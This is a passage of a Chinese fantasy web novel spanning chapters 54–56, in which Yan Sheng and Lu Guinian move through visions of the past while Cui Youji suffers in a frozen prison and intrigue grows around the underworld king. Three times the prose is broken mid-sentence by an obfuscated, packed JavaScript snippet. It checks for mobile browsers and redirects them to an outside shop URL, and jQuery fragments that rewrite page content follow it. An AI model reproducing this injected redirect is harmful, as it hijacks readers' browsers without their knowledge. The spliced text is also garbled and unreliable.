“你当初追我的时候,可不是这么——”颜笙的话还没说完,脚下的草色开始褪淡,四周场景也逐渐模糊。 陆归年静静地看着她,身形也在光影中渐渐隐去。 * 颜笙醒来时,发现只是个梦境。她手里握着一颗裂成两半的玻璃球,而那玻璃球也不再发光。 陆析已不知去向,花否犹自昏迷不醒,唯有仙及刚刚转醒,正惊魂未定地扑腾着。 仙及忽而飞到颜笙肩头,比划着她完全猜不出看不懂的动作,也不知是怎么了。 花否睁开了眼睛,一改往日端庄,眼神迷离而轻佻,她古怪地瞅一眼颜笙,又瞅一眼她肩头的仙及,又低头看看自己的手。 颜笙站起来环顾四周,仍是不见陆析踪影,便问花否:“你可有见到陆析?” 话音未落,颜笙突然僵在原地。她的嗓音确实变了,褪去了原本的刻薄,化成梦里陆归年给她的那副嗓子。 这到底是怎么一回事? 花否听到颜笙的声音,同样露出难以置信的神色,她试着清了清嗓子。 颜笙身后有刺目金光投过来,她转头,便瞧见身后柜子上立着一颗水晶球、突然坠落在地。 这颗玻璃球竟然被磕碰出一道浅浅的裂缝。 花否慢慢靠近,捡起发光的玻璃球,挥动另一手,示意颜笙退避。 颜笙虽不解,仍照做,退了两步。仙及也跟着她往后飞。 花否将玻璃球用力往地上一掷,玻璃球瞬间四分五裂,而其中的光芒变得刺目,照亮了整间屋子。 由于屋内的光芒太过明亮,颜笙闭起了双眼,在她肩头的仙及亦如是。 * 陀铃火渊门口种满凝烟白蝉花,花丛里飘来幽幽的香气。 花丛旁边摆着一把躺椅,椅子上面铺着柔软而轻薄的垫子。陆贺年躺在垫子上闭目养神,忽而听到脚步声靠近。 他感觉那人就在站在眼前,身上散发着提神的薄荷香,遮住了他安神所用的凝烟白蝉香,便睁开眼睛,见是陆析。 陆贺年阴阳怪气道:“见到我怎么不行礼?” “什么礼?”陆析喃喃自语了一会儿,又看到花丛里一只橘色的猫蹿到陆贺年脚边。 橘猫化成孩童模样,说了一句:“面首见到原配,当然要执妾礼了。” “那个男的是面首?”这位陆析捏着嗓子,以一种油腻的腔调张口。 “你到底是谁?”陆贺年皱眉,打量着矫揉造作的假陆析,“花否老板?你怎么换了个壳子?” “您的亡妻子颜,当初不是用自己的声音,换走了天道的一缕灵魂吗?现在天道遗孀颜笙找上门来,肯定要取我的命。” “等下,子颜,还有颜笙?”陆贺年听到子颜和颜笙两个名字同时提起,听得一头雾水,但问道:“你把事情原委从头到尾说给我听。” 花否道:“好。事情是今天……” “谁让你从这里开始了?”陆贺年给周围加上一道隔音结界,确保他们的声音不会外传,嘱咐道:“从子颜交换天道的灵魂说起。” * 桃源有一隅角落,寒天霜地,长年刮着砭人肌骨的冷风,处处皆是银装素裹,无论是仙人还是凡胎,只消在这里呆上半个时辰,睫毛便会结上一层冰晶。 这是刑部大牢的第五层,是一个人造的结界。外面犹四季如春,里面是刺骨寒凉,通常被桃源的刑部用作小惩大诫。犯小错的神仙在这里呆上一周,便能轻松离开。 崔攸霁在里面跪得笔直,双膝贴着光滑的冰面,寒气隔着他的仙袍透进他的膝盖骨,麻木着里面的神经。他此刻有些分不清这麻木究竟是因为跪得太久,还是冻得太久。 他的衣衫已经结冰,贴着他薄薄的肌肤,沉重地拉着他的身子向下。 牢房的大门被打开,一位不速之客不请自来,他步履蹒跚地走向崔攸霁,而后居高临下地看着他。 “我的好六弟,人人都说你文采颇高,四肢健全,可双膝就跪在这里,这哪能受得了。很快就要和我一样成为废人了。” 崔攸霁抬头,瞥见他目光中的幸灾乐祸,咬了咬牙,说道:“本自同根生,何苦手足相残?将我拉下来对你又有何好处?” 崔攸宁听到这话不以为意,嘲讽道:“没有好处,但至少能让我心情愉悦些。” “以前父亲安排我在冥王身边做副手,还对我骗你入幽冥的事视若无睹,以为父亲是偏爱我多过你。” “后来才发现,父亲不关心无常界,更想控制幽冥。你进入了幽冥,获得了城主的信任,还结交了圣女转世的颜笙。而我,居然将这样的机会拱手让给了你。” 崔攸霁苦笑,去强压下心头的苦楚:“机会给你,你就能接住吗?我入城的第一日便被蜚声掳走,然后……算了………换做是你,第一日就能逃脱,不会再有后面的事。” 崔攸宁嘲讽道:“所以说你能屈能伸,委身于妖女,听说那妖女当初没少折腾你。父亲为了抹去你这段不光彩经历,把你送去轮回,重新漂白履历,可真是煞费苦心。” 崔攸霁无奈:“我倒是宁肯一辈子委身于蜚声。桃源缺少活人的气息,幽冥到处都是烟火气。” 崔攸宁道:“是,幽冥的鬼魂义字当先,还有点傻气。我只说有你的下落,姚蜚声便蠢到立刻相信,被我骗出来,最后被父亲投入陀铃火渊。” 这句话点燃崔攸霁的怒火,崔攸霁猛然起身,一拳挥向崔攸宁。按理说崔攸霁因为受冻,身子已然僵硬,但崔攸宁却不躲避,被他重重击倒在地。 崔攸宁捂着脸,吃力地扶着他并不灵活的腿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171211|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就在这时,崔巍的身影出现在他们之间。 “谁准你站起来了。” 崔巍的目光冷得像淬了毒,随着这句斥责而来的,是一记几乎要震碎崔攸霁耳膜的耳光。 这个巴掌扇得极重,崔攸霁被扇得一个趔趄倒地。 崔攸霁手掌按着冰面,撑起身体,重新将双膝贴上冰面。 崔巍脸色阴森,他并非不知道这场纷争是崔攸宁引起的,但他更气愤的是仍对姚蜚声念念不忘,时至今日仍为她动怒的崔攸霁。 他遣令崔攸宁离开,又对崔攸霁说道:“看来你还是没明白自己错了哪里。” 说完这句话,崔巍转身离去,他背对着崔攸霁,步子迈得极为缓慢,似乎在等待着崔攸霁认错,但他到最后始终没有开口。 崔巍失望透顶,便和刑部的衙役交代,继续让崔攸霁呆到七日刑满再释放出来。 不久,牢房内又走进一人,看着跪在地上的崔攸霁。 崔攸霁抬头,见到是和颜笙走得近的袁思邈,他的眼神里没有一丝怜悯。 袁思邈讽道:“公子装作不知硬碰硬的后果。回头姚蜚声找到了,你却魂消了,正好你留个痴情的美名,骂名都给了那个可怜女子。” 崔攸霁反驳:“我没有。” 袁思邈沉声道:“你以为你咬紧牙关死扛着,神尊便奈何不得你,就能将此事作罢了?” 崔攸霁抬头,看着袁思邈。 忽而有一道白烟飘来,袁思邈余光瞥见了。 他突然抬高音量,大声斥责道:“为了儿女私情不孝不悌,你这样的行止,配得上你读的那些圣贤书吗?和姚蜚声那等目不识丁妖怪,倒也粗鄙得般配。” 崔攸霁的怒火被点燃,站起来揪住袁思邈的衣领,“蜚声读书少,灵魂却不粗鄙!我爹才是真正的道貌岸然!他用肮脏的手段害死无辜的蜚声!他还——” “妻子哪有父亲重要。”袁思邈抬高音量抢话,朝崔攸霁挥了一记空拳,顺道搅散了那坨黑烟,但崔攸霁咬牙切齿,反手给了他一拳。 崔攸霁重新将双膝贴上冰面,每一个动作都伴随着骨骼摩擦的钝痛。 袁思邈捂着脸,松了口气,观察四周无异样后,才压低声音,用只有两人能听见的气声说道:“抱歉,刚才那是鉴于耳目在,才失言得罪。生命可贵,不分族类。我也是从庶民修上来的,平生最恨这些自命清高的血统论。 他话锋一转,又道:“你是崔瑶唯一的靠山,若你为了这口硬气死在牢里,崔巍明天就能把那孩子送去陀铃火渊。到时候,谁去替姚城主保护她的女儿?指望颜笙吗?她把自己一万岁的儿子养成了四五岁。” 崔攸霁原本因严寒而僵硬的手指猛地抠入冰面,伴随着令人牙酸的摩擦声,他在冰封的地砖上生生抓出了几道深痕。 此话戳中崔攸霁的顾虑。崔巍不喜欢崔瑶,当初也想害其性命,只是因为忌惮他,才会稍微手下留情。 如果他不在了,崔巍定会想尽办法除掉这孩子。 为了瑶儿,他也要活下去。 门口处又飘来一缕新烟,袁思邈瞥了一眼,悄悄与崔攸霁对了个眼神。 崔攸霁缓缓地点头,忽而摆出谦逊的姿态,说道:“仙君教训的是。是我错了。还请仙君帮我多多在父王面前美言。” 54. 琉璃往事(五) 颜笙再度睁开眼睛,瞧见自己站在有常屋的门口。 不一会儿,花否从有常屋内走出来,她一只手握拳。在她看见颜笙的时候,表情出现一瞬间的凝滞。 颜笙想起来这时候的子颜是哑巴,为避免不必要麻烦,继续伪装下去,朝着花否胡乱比划着。 花否眼睛氤氲,说道:“别再比划了,我看不懂的手势,能懂你手势的只有城主了。”之后伸手向颜笙施了一道法:“现在你可以出声了。” 颜笙清了清嗓子,只是这嗓音—— 怎么又变成了她先前的声音,也就是姚蜚声的声音。她指了指嗓子,好奇问道:“这究竟是怎么一回事?还有,你可有看到蜚声?” 花否犹豫着,她低头看一眼拳头,很快将拳头放下,回答:“我不知道。我没看到她。” 颜笙对照脑海里多出来的记忆,姚蜚声前段日子怀孕,孩子的生父正是清凉殿的崔攸霁。 崔攸霁和姚蜚声初见时,被误认成骚扰子颜的变态,被她软禁了三个月才放出来。后来子颜出面解释清楚误会,姚蜚声赔了灵石,还要送人离开。 没想到,崔攸霁既不要赔偿,也不肯走,只说想和她一对一地过日子。姚蜚声自然不会答应,可他也不争辩,不闹不吵,任由她怎么处置,都心甘情愿跟在她身边。 起初,姚蜚声只把他当成顺手捡来的摆设,和殿内高高低低的花瓶没什么区别。子颜来家中做客,他就乖乖端茶递水,与寻常人家的小厮无异。 姚蜚声总嫌他笨手笨脚又粘人,能留下他的唯一理由大抵是—无论何种场合,他都毫无羞耻心地任由她随意摆布,本能地臣服她。他那副羸弱身板,偶尔也有承受不住的时候,但缓过来,还是强撑满足她的全部需求。 崔攸霁原本不善言辞,被她使唤久了,竟能把府中宾客伺候得滴水不漏。谁挑刺他都能稳稳接住,谁刁难他都能赔着笑化过去。 他还总追着子颜打听“蜚声喜欢什么?讨厌什么?”后面投其所好,总算获得姚蜚声一点偏爱。许久以来,她出门只带着崔攸霁一个面首。 后来姚蜚声怀孕,宣布遣散了后宫。那日她和面首们依依惜别,喝得酩酊大醉,醒来后,崔攸霁就不见了。 姚蜚声嘴上只说“正好去父留子”,但子颜看得出来她对崔攸霁的离去有点感伤。幽冥居民骨子里该是嗜酒如命,可她却戒了酒。每次饮茶时,她盯着空着还没加满的茶杯,总是双目放空。 十个月了,崔攸霁仍然没有出现,连姚蜚声也已经失踪了一周了。 颜笙算算日子,现在姚蜚声已经被崔巍推下陀铃火渊,又被陆贺年救上来,应该藏在有常屋附近。至于去了哪里,只有花否知道。 花否仍未表明姚蜚声去处,只是推着颜笙,将她送到门口:“你还是离开吧,今日这里不开张。找人的话,还请去冥王那里。” 说完这句话,她便返回有常屋。颜笙见状,也只能依她所言,前往冥王殿寻人。 等颜笙离开后,花否再次从有常屋里走出,蹲在一棵树下,张开了掌心。从手心里放出一只僵硬的金蝉。 花否徒手拨动雨后湿润的土壤,身为骨头精,她的指尖并无血肉,却在那粗粝的砂石中摩出了刺耳的摩擦声,仿佛每一寸剥落的石屑都在替她呐喊 挖土的手指被砂砾磨得发红,她却像感觉不到疼似的,一下一下往下掘。脑海里浮现的,都是姚蜚声握着酒壶骂人的模样。 姚蜚声嘴上骂着:“这皮相生得再好看有什么,男人前脚夸你美得像仙女,后脚嫌你灵魂没有趣,一个两个……全他爹的喜欢子颜那样的——”骂到一半,又假模假式地捧着一本书,却正反都闹不明白,直勾勾瞪两眼,便扔在一边。 转天她忘记自己的难过,又将自己珍藏的绿松石送到子颜那里,还派裁缝给她量体裁衣。 崔攸霁出现前,还从未见她有过这烦恼。这一切不过是那日,她发现崔攸霁一直拿着仙器窥视树林里采荔枝的子颜。 又或者某日,她把子颜叫到府上,一起听着他侃侃而谈法器制作。子颜保持耐心听着,隔三差五点点头,笑得温温柔柔,评价道:“如此,甚好。”而她完全听不懂,在旁边喝着闷酒打瞌睡。 姚蜚声不敢把这些苦水吐给子颜,生怕子颜自责,于是都告诉了花否。 足够容纳蝉身的坑洞落成。花否疗愈了手指的伤痕,便将金蝉埋进去,然后说道:“你说漂亮皮囊没用,换不来对灵魂的爱。可是你不知道,除了姓崔的负心汉,幽冥的所有人都倾慕你的灵魂。”? 她说的时候,眼底有黄豆大的泪珠涌出,一滴一滴沾湿沙土。 花否又说道:“我答应过你,不会告诉子颜你把声音捐给她,把躯壳捐给了我。子颜很快就会投胎了,以后也不会知道。” “你对那丫头太好了。”花否的声音噎住,无法再继续诉说。 默默哭泣了许久,她才缓过来,继续念叨:“其实子颜的投胎排期早就到了,就是为了看你顺利生产,所以才拖着不投胎。刚才我通知冥王了,马上就有人去抓她了。你放心吧。” 沙土将金蝉渺小的身体掩盖,它躺在坑洞中一动不动,或许魂魄已经离开了躯壳,飘向了忘川。 再多的期望只能换来失望。 花否盖上最后一抔黄土,跪在树下悲戚许久,双手合十,代表无常界所有居民,向那具蝉尸献以崇敬。 今日无风,四周静谧无声,连枝头的黄鸟都预感到发生何事,懂事地止住啼叫。 此时树丛窸窣作响,显得格外清晰。花否眯眼,瞥见林间有道人影注视着这里,他的身形约莫九尺。 花否内心慌乱,赶紧用袖子抹了抹泪,再看附近的林子里,那抹影子已经不见。 她心说自己看错了,便走回了有常屋。 * 冥王殿前,青火幽幽。 万年前的冥王是陆归年和陆贺年的生父陆方伯。 陆方伯遣人拿来颜笙的生死簿,仔细翻看她的履历,发现这上面她罄竹难书,进陀铃火渊都绰绰有余,和他的嫡子陆贺年倒也般配。 陆贺年的确向他要过人,但被他回绝了。 毕竟这姑娘就在冥王殿里做文书,他检查过颜笙的灵魂,她身上并无罚印。 陆方伯将心中疑惑传信给桃源的陆归年。 此刻的陆归年正在繁忙的公务中偷闲一刻,听到父亲说遇到一位没有罚印的幽冥老灵魂,便不假思索道:“应该是此鬼把别人的罪过背在自己身上,替别人偿还罪过。” “替别人顶罪?”陆方伯更感觉困惑,想起女子和陆归年的关系,说道:“要不你抽空来一趟,我是真不知该如何处置这灵魂了。” 这位颜笙一直拖着没投胎,好心想替她在生死簿上改动姓名,但此事需要过问天道。 陆归年听罢,“如此,父亲且将她留在冥王殿,待今日我亲自会一面她。” 他看了一眼旁边,殿内当下只有窦不迟和甄婉两位神使,便吩咐道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他当初真以为书册上的罪过都是她犯下的,因而对自己年少时曾经盲目的爱恋,产生过一丝怀疑。后来才发现,他错得离谱,世间少有比子颜更纯净的灵魂。 鬼使神差地,陆归年朝她的脸庞伸出手,却在指尖触及她轮廓的瞬间意识到失礼,转而轻触她的颈后,装作查看她的根骨。 “确已飞升,非是凡骨。”陆归年掩饰着心虚,“你不是子颜了。” 颜笙捉住他的手,笑眯眯道:“我留颜笙……毕竟是孝顺的小东西帮我改的。” 当年子颜所生的小皇帝,在陆归年还活着的时候,极其排斥去太阴城。哪怕说是去祭拜生母,他也不肯去。可陆归年的国丧结束后,他立刻去太阴城迎回颜笙的灵柩,还改了奉天的姓氏,将她以太后之礼葬入祖坟。 要不是陆方伯提到颜笙的姓名对不上生死簿,他还没有注意到这回事。 陆归年道:“今日才知,橙儿始终顾忌我。”他说完这话有点沮丧, “别伤心,这么久了,他一个嫡子都没发卖你这个庶爹……也挺孝的。”颜笙调侃归调侃,真怕他怄气,便打了个岔,“咱们走前,你随我寻一趟姚蜚声?” 陆归年思考片刻,又碰了一下颜笙的喉咙,颜笙愣了一下,下意识闪躲。 陆归年再次从她喉中取走光芒,问颜笙:“你不是刚才见过她了?她把声音给了你,在你走后,花否才将她下葬。” 颜笙听完这话,眼眶红了,“你看见了为何不出手阻止?” 陆归年双手扶上她肩膀,表情严肃地说:“像你一样,沉湎于过去,动一两下圆梦?” “可是颜笙,已经发生的事,哪里有后悔药?” 55. 琉璃往事(六) “你这话是什么意思?”颜笙不禁有些恼羞成怒,“你还在计较当年那一刀?” “既然天道最讲公平,大不了我还你一刀便是。”颜笙动作利落地从两仪袋里抖出一柄寒光冷冽的短刃,啪地一声拍进陆归年手里。 陆归年接过那刀,想都没想就丢在地上。 颜笙施法回收那刀,扭头就走,“你还是这般讨厌,喜欢对我指手画脚。” 她嘴虽然硬,但也知道陆归年并非无的放矢,只是正好戳中她的痛楚,这才惹得她反应过度。 无论是她入画那次,阻挡陆贺年自毁和子颜贬谪,还是阻挠沈华裳被老皇帝纳妃、或者为萧知颜还魂,这些都仅存在于她的梦想。 现实里依旧是一地鸡毛。子颜和陆贺年分别堕仙从此陌路,沈华裳陷入宛宛类卿的“乐园”,萧知颜惨死朝花殿外,高宁仍是棋差一着的败犬公主。 沈华裳和陆贺年对她如故,这只是两桩例外;高宁再见她时态度宛如陌生人,这才是生活的真实常态。 发生过的事情不可能改变,永远地影响着每个人当事人,只是爱把伤痕掩饰起来。 颜笙走到走着,才发现自己眼角湿了。 陆归年走到她身侧,递给她一块手帕,“往事若谏,未来谨慎些便是了。” 这手帕悬在半空,颜笙瞥一眼递来的手帕,迟迟未接。 陆归年微微蹙眉,心头掠过一丝无奈,温和地问道:“还在生我的气?” 颜笙点头,“道歉。你过去也只管自己正确,全然不理会我的心思。” “是我的错。不该不顾娘子的情绪。”陆归年语气真诚。颜笙情绪好平复许多,把他递来的手帕接了过来。 颜笙沉思片刻,语气平静:“现在送我出去也行。但你能否答应我,出去以后不要为难我的父母?是我替他们顶罪,拿走你的记忆也是我一人所为,与他人无关。” 陆归年点头:“我答应你便是。” 这万年来,子幽被囚焚骨塔与世隔绝,莲江仙困于幽冥老无所养,以及南歌子东躲西藏担惊受怕,还不如轮回百世尝尽酸甜苦辣。他们的惩罚远比本该有的长久。 当然陆归年不打算告诉颜笙,心里念着颜笙这些年多体验的苦。他想,这些日后由他亲自弥补回去便是。 颜笙听到陆归年答应不再追究她双亲的过往,方才安心下来。她还以为自己百世轮回没有白费,脚步也比之前轻快。 不过颜笙突然想起来了,她应该轮回百世才飞升。但现实里她只轮回了第八十一世,足足提前了十九世。 颜笙得了便宜卖乖,假装叹息道:“我本该轮回百世,说不准夫君都有一打了。没想到孤身八十一世,被你强娶了。” 陆归年困惑地看一眼颜笙,语气淡淡地说道:“赖在鹤冲山打秋风的是你,提出成亲的也是你。” 提起往事,颜笙想起来在鹤冲山时,是她死缠烂打居多,她赶紧否认道:“那不是为了杀你。” 陆归年没理睬,反而朝她伸出手,“给我。” “非要这样?”颜笙一时错愕,犹豫地将手放上去,脸还红着:“当初是好像好好过来着。 陆归年反手轻轻敲了一下她的手背:“前世走到这里时,子颜曾给过我一尊泥像。” “你故意的?”颜笙刚想奚落他几句,话到嘴边却急刹住车,说道:“到这里的时候,你已经把子颜绳子全解开了。可你绑着我,还怎么给你泥像。” 陆归年回忆了一下,子颜走到这里时已经眼泪涔涔了,他那时候实在不忍见她垂泪,才放开绳子。可这个颜笙,不光没有一点哀矜,反而在路上和他斗嘴。 算了。陆归年解开了她的绳子。 颜笙从怀中翻了翻,她身上还真有一尊泥像。 在点头怪诞生之前,子颜也曾做过一个类似的实验品。当年裴天骄替她挑的土,只是泥像塑到一半,裴天骄就走了,而她也被迫贬谪。 子颜便把那泥像带到幽冥,又混合了幽冥土将泥像做完,只是最后她用尽办法,也没能使它动起来。 后来陆归年送子颜去投胎,她便借花献佛送了这个。她模仿着记忆里子颜的口吻,对陆归年说道:“这尊泥像送给你,望他能陪你一起修行。” “那谢过娘子了。”陆归年接过泥像。 颜笙嗤笑,紧接嘲讽道:“哎。你嘲笑我沉溺过去,还不是要找我要泥塑,留个念想。” 陆归年倒是没出现颜笙期望的恼羞成怒,一本正经地问她:“你可还记得怎么做出的这泥塑?” 颜笙说道:“那你得问柔栀仙子了。是她挑的土,我只负责塑性。” “那就糟糕了。”陆归年忽地丢下那么一句,让颜笙也摸不着头脑。 两人正说着,陆归年突然脑袋一沉,在颜笙眼前倒地。颜笙忙扶着陆归年,看他一动不动倒在自己怀里,着实吓一跳。再见她口袋里,被陆归年塞进了刚才那泥像。 再看四周,须臾之间,四面八方的景色若云烟般隐去。 幻境散去以后,有常屋内依然不见陆析的踪影,但她口袋里却还留着陆归年塞给她的,那块半成的雕像。 颜笙感觉自己后颈凉凉的,稍微摸了一下,发现灵魂多了一块。那片灵魂应该是之前花否的玻璃球里的,很快融入了原本的灵魂。 身边散落着两个玻璃球的碎片,她用了清洁咒,把两个空空的玻璃球碎片攒在一旁。仙及就躺在碎片之中,她害怕得仙及受伤,赶忙帮它检查疗伤。 它浑身上下没有伤痕,只是爪子朝天一动不动。颜笙以为仙及死了,捧着仙及的身体,红着眼圈,泪水止不住地滴落。 姚蜚声拍拍自己的额头,总算拍清楚了自己脑海中混乱的记忆,又捏捏自己的喉咙,清了清嗓子,发现声音已经物归原主。 她斜瞥一眼仙及,和捧着仙及哭成泪人的颜笙,赶忙说道:“别哭了,小心泪水真把蝉淹死。” 颜笙没理她,把眼泪硬生生瘪了回去,仍是捧着仙及哀伤。 姚蜚声便说道:“颜笙上神,能否将我的蝉蜕和外来的灵魂分离?” 颜笙看一眼仙及,再看看姚蜚声,向她询问道:“仙及?你怎么跑到花否的身体里?” “我是姚蜚声,这身体不过是物归原主。”姚蜚声转身,轻轻摸了一下躺在颜笙掌心里的金蝉,“同时之前也是哑蝉仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182516|193324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及。” 颜笙看了看姚蜚声,防备地扭过身去,“你怎么证明你是仙及?” 姚蜚声说道:“你后腰上有枚花印。当时你穿着薄衣半夜去找鹤冲派掌门陆归年,没想到他叫你在旁边打坐了通宵。隔日起来的时候,你因为脚麻,后腰撞到了花形烛台。” “好了,不必证明了,还真是仙及。”颜笙笑眯眯打断,手里的金蝉也睁开了眼睛,爪子不断动着,挠得她掌心发痒。 姚蜚声蝉身和里面附着的灵魂,陆析的灵魂从蝉身上剥落。 “这是怎么一回事?”颜笙看到眼前的景象,顿感困惑,陆析怎么只剩下灵魂,而仙及变成姚蜚声。 姚蜚声拍了怕脑门,说道:“诶诶,颜笙上神。花否穿着陆析的皮囊跑路了,所以才留下这皮囊给我。但仙及皮囊太小,陆析在它身体里差点没憋死。” 颜笙想起来陆析陆析肉身里里还有陆归年,可是姚蜚声刚才分离的灵魂里面,只有陆析一人的灵魂,那么陆归年呢? 她正要问陆析原委,却听到门口传来敲门声。 有常屋内有个面向访客的水晶球,此刻投映出屋外的画面。 外面站着一位面容隽朗男神仙,看容貌是冥王身边的泥菩萨皓然。据说他是幽冥土化形而成,常年穿着黄色衫子,容貌神态却有点像子颜。 泥菩萨皓然一直以来都是冥王身边的副手,以前的冥王是陆方伯,现在的冥王是崔攸宁,无论是谁他都侍奉得尽心尽力。 姚蜚声和颜笙对了一下眼神。颜笙不打算打草惊蛇,便出声道:“您先在会客厅稍等,我马上便出来。” 原本的花否是姚蜚声的皮囊配上子颜的声音。颜笙让姚蜚声出面,而她依旧套上那个丑兮兮的笑脸面具,为姚蜚声配上声音。 颜笙抱着一个玻璃球出来,放在花否桌上立着的木架上,随后沉默地站在姚蜚声身后。泥菩萨皓然走进去。 泥菩萨皓然对着玻璃球施法。 玻璃球里出现的是一条土地皲裂的干河沟。 泥菩萨皓然介绍:“此为坤仪,曾经无常界有三川,坤仪,子母,忘川。五千年承碧山地震,坤仪河因而塞竭,此为天灾。” 玻璃球中的画面再变,出现的是一条浑浊的河流。自不必说,这是子母河。 泥菩萨皓然又道:“此为子母河,如今浊而不可见底,皆因牛马城内污水所致,此为人祸。” 玻璃球中的画面改变,出现的是一条潺潺流动的小河,此为三途川。这河水看着依然正常地流淌,并无异常。颜笙有点困惑泥菩萨的来意。 泥菩萨皓然说:“此为无常第一大川,如今孱孱兮若垂暮之老人,不日将竭。无常凭此三川发原,如今俱是衰貌,实在是不祥之兆。不知该如何应对?” “止而守旧,无解。徐徐新之,迟矣。更朝换代,另辟‘溪’径,尚可一试。” 姚蜚声在旁边完全听不懂,忙看旁边的颜笙,只见颜笙一动不动。 泥菩萨皓然也同时看向颜笙,“上神有何高见?” 颜笙摘下面具,露出里面的娇俏的脸庞,笑道:“皓然君可有意取冥王攸宁而代之?” 、 56. 生命之源(一) 泥菩萨皓然甩袖,拂去玻璃球内的显象,说道:“未有犯上之心,不过是担君之忧,尽臣之节。” 颜笙对泥菩萨皓然了解不多,今日一见着实意外,他极富有教养,性情恭谦与崔攸宁的乖戾性情大不相同。 他早先也是陆归年的神使,后来被陆方伯要去,在两位品行高洁之人身边侍奉数载,耳濡目染,会是这等性格也不奇怪。 奈何这位泥菩萨皓然显然儒气太过,这类人并不好作乱犯上,往往满脑子忠君爱国的封建思想。 颜笙回想着崔攸宁的荒唐事,不由得摇摇头,对皓然劝道:“天命不于常,不仁者早失民心。何不如向我借一对羽,乘风而起,接下这天命。” 泥菩萨皓然瞥一眼颜笙,只道:“先冥王与天道皆有恩于我,我自当替他们守着幽冥,怎可能自引乱象,让他们头疼。” 姚蜚声拉了一下颜笙的袖子,对她摇摇头。 颜笙只好作罢,留下一句:“无常以三为满数,如今崔攸宁恶之将盈,就算你不出面,天也会降祸无常。” 泥菩萨皓然没有听进去颜笙的告诫,只朝着她点头,说:“那在下自会以命回护无常子民。今日交谈之事,在下绝不会与外人道也。” 两人尚未议尽,无常界的竹影却已染上黄昏。 泥菩萨皓然便退了。 待他走后,姚蜚声赶忙问颜笙:“刚才你们两个在说什么?什么天命不天命的。” 颜笙深呼出一口浊气,摇了摇头。 * 滋源殿外,绿竹修长。 临竹景处有一道窗,窗内亮着烛光,泥菩萨皓然的身影在窗纸上临若隐若现。 冥王崔攸宁驾临滋源殿时,瞧见窗纸的影子,心说此刻尚未日落,而他惯常节俭,怎会这么早点燃蜡烛。估计就是个障眼法。 方才眼线的奏报,泥菩萨皓然去了有常屋,找花否老板聊了很久才离开。 崔攸宁最厌恶之人莫过于这位副手。数次当面轻慢他,还拿着天祸论威胁他,指挥他做这做那。他次次都以“刍荛之语,不足为惧”来应付。 这个烦人的东西!保不准已有二心。 崔攸宁走到门口,忙对门口的侍卫吩咐:“快叫他下来迎接。小心本王治他怠慢的罪。” 仆人不慌不忙,称说:“主子偶感风寒,所以在二楼卧室内静养,今日不便见人。” “爱卿抱疾在床,早朝都缺了。这我更要一探,否则显得本王冷漠。”崔攸宁不听,推开挡路的仆人们,大步走上二楼的主卧房前,猛地推门。 大门正对着一个屏风,有郎中从屏风后面走出来。 崔攸宁往屏风一瞧,屏风后面男子卧病在床。里面的男子虚弱地说道:“冥王殿下,臣今日感染了风寒,”他咳嗽两声,“如今抱病在床,害怕给您过了病气,所以今日缺席早朝。” “你还真是病了。”崔攸宁叹气:“既然如此,那我先离开了。你好好养病。” 皓然说道:“多谢冥王。”说完这话,皓然便拉起被子,背过身子躺下了。 崔攸宁往外正要推门,心里反复琢磨着。泥菩萨莫不是真病了,可眼线的消息应该不可能作假,说他就在有常屋外。 崔攸宁转身,施法拉开身后的屏风。 一位玉面郎君坐在案头,蜡烛生辉,衬得他肤若凝脂。他的五官温婉秀气,难辨雌雄,比花仙少一分媚气,多一分英气。 但坐入殿内的男子并非是泥菩萨皓然,那人如朗月星辰,太过明亮灼得人眼痛。眼前人倒有点像桃源显熠宫的女官甄婉。 玉面郎君看见他,惊慌之余赶紧变成女子,果然变成了女官甄婉。 甄婉忙起身行礼,说道:“见过冥王。不知您今日前来可有何事。” 崔攸宁默然不言,未让甄婉起身,而目光从头到脚地打量着她,然后问:“婉儿竟是男子?” 婉儿这称呼崔攸宁从未对她用过,这会儿这昵称太亲密了。甄婉觉察出不寻常的氛围,便说道:“我是女子。” 她是天道拿一枚豆荚点化而来,豌豆没有性别之分,既能开花,也能结果。甄婉平日里怎么方便怎么自居。 后来她因为常驻无常界神祠,她才把自己变成女子。 毕竟崔攸宁兴趣不与多数人相同,喜好四处访求瑕、嫣之流,为得美色无所不用其极。冥王殿内的男子除了皓然,基本都和崔攸宁有过肌肤之亲。 今日甄婉变成男子还是为了泥菩萨皓然,他说出去一趟,但害怕崔攸宁多疑,所以谎称今日身体抱恙,又拜托身形相似的她装扮成男子,在窗边落影以迷惑耳目。 没想到这崔攸宁发现了她的存在。 甄婉察觉到他眼神中逐渐粘稠的恶意,冷声强调道:“殿下自重,小仙乃是女子。” 崔攸宁方才明明瞥见她一袭男装的男子形象,不免色心难耐:“女子倒是正好。如今父亲已解除我与颜笙上神的婚约,不如娶你为正妻。” 甄婉撤后两步,淡笑着婉拒:“我是天道的神使,还请您好好斟酌。” 崔攸宁却不以为然,执意上前,“天道不是早就死了?就剩下一个孤零零的遗孀,何足为惧?” 甄婉冷呵一声:“那你可真是——井底里的癞蛤蟆。” 崔攸宁还真是阴沟里呆久了不知道天高地厚,颜笙的名头要是放在桃源境,他早就退缩了。 